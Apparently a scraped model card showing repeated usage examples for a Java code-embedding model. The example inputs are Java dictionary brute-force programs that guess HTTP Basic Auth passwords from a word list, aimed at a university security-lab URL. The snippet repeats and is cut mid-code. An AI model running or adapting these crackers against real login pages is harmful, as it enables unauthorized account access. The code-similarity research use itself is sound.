{\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    